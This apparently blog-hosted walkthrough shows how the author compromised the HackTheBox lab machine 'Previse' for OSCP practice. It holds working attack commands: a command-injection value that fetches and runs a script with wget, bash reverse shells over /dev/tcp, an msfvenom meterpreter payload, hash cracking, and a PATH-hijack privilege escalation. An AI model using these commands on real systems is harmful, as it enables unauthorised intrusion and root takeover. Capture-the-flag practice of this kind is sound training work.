HackTheBox | Previse

In this walkthrough, I demonstrate how I obtained complete ownership of Previse on HackTheBox
HackTheBox | Previse
In: HackTheBox, TJ Null OSCP Practice, OSCP Prep, Attack, CTF

Nmap Scan

# Nmap 7.91 scan initiated Thu Aug 12 12:27:49 2021 as: nmap -T4 -p- -A -oA scan-advanced 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.013s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=8/12%OT=22%CT=1%CU=37645%PV=Y%DS=2%DC=T%G=Y%TM=61154C2
OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   12.11 ms 10.10.14.1
2   12.17 ms 10.10.11.104

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 12 12:28:18 2021 -- 1 IP address (1 host up) scanned in 29.87 seconds




Service Enumeration

HTTP

target=10.10.11.104

gobuster dir -u http://$target -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php

/header.php           (Status: 200) [Size: 980]  
/nav.php              (Status: 200) [Size: 1248]  
/footer.php           (Status: 200) [Size: 217]    
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]  
/download.php         (Status: 302) [Size: 0] [--> login.php]                    
/status.php           (Status: 302) [Size: 2968] [--> login.php]                 
/login.php            (Status: 200) [Size: 2224]                                 
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]    
/logout.php           (Status: 302) [Size: 0] [--> login.php]                    
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]                 
/index.php            (Status: 302) [Size: 2801] [--> login.php]                 
/config.php           (Status: 200) [Size: 0]                                    
/logs.php             (Status: 302) [Size: 0] [--> login.php]                    
/files.php            (Status: 302) [Size: 4914] [--> login.php]

accounts.php looks interesting. Start Burp Suite, navigate to http://10.10.11.104/accounts.php and intercept the request.

<form role="form" method="post" action="accounts.php">
	<div class="uk-margin">
			<div class="uk-inline">
				<span class="uk-form-icon" uk-icon="icon: user"></span>
				<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
			</div>
	</div>
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: lock"></span>
			<input type="password" name="password" class="uk-input" id="password" placeholder="Password">
		</div>
	</div>
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: lock"></span>
			<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
		</div>
	</div>
	<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
</form>

Looks like there is a web form to create a user account. I will attempt to create a new user with the curl command and an HTTP POST request.

curl -X POST -F 'username=testuser' -F 'password=testpassword' -F 'confirm=testpassword' http://10.10.11.104/accounts.php

I am able to login using the account I created. Next, I download the backup of the site at http://10.10.11.104/files.php, as I suspect there may be some source code available for review.

There is, indeed, source code for the web page. There are cleartext credentials in config.php. I also found that logs.php does not sanitize input on the delim parameter.

exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");

The logs.php script is called by the file_logs.php script.





Exploit

First, I create a simple bash reverse shell.

#!/bin/bash
bash -i >& /dev/tcp/<kali-ip>/443 0>&1

I start a listener on TCP 443. Then, I open Burp Suite and navigate to http://10.10.11.104/file_logs.php. I change the parameter in the POST body.

delim=; wget http://<kali-ip>/shell.sh; bash shell.sh

I forward the request on via Burp and catch a reverse shell.

Next, I create a meterpreter reverse shell for more versatility on the target.

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<kali-ip> LPORT=444 -f elf -o supershell

Then, I start msfconsole and run multi/handler.

use exploit/multi/handler
set LPORT 444
set LHOST tun0
set payload linux/x64/meterpreter_reverse_tcp
run

I run a Python web server and grab the meterpreter reverse shell payload from the target.

cd /tmp
wget http://kali-ip/supershell
chmod +x supershell
./supershell

I drop down into a system shell and try connecting to the database.

mysql -u root -p'cleartextpassword'
show databases;
use previse;
select * from accounts;

I got a username of m4lwhere and a hash from the database. I copy it locally and try cracking it with john.

john --format=md5crypt --wordlist=rockyou.txt hash
?:ilovecody112235!

I SSH into the target as the user m4lwhere and check user privileges.

sudo -l

User m4lwhere may run the following commands on previse:  
   (root) /opt/scripts/access_backup.sh

I inspect the contents of the script

#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz




Privilege Escalation

The backup script is calling gzip by its relative path name and it is being called as root. I should be able to inject a malicious gzip via the $PATH variable.

PATH=/home/m4lwhere:$PATH

I create the file /home/m4lwhere/gzip.

#!/bin/bash
bash -i >& /dev/tcp/kali-ip/53 0>&1

Make it executable and double-check that it is going to load my script by running which gzip. It is loading from /home/m4lwhere.

sudo /opt/scripts/access_backup.sh
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.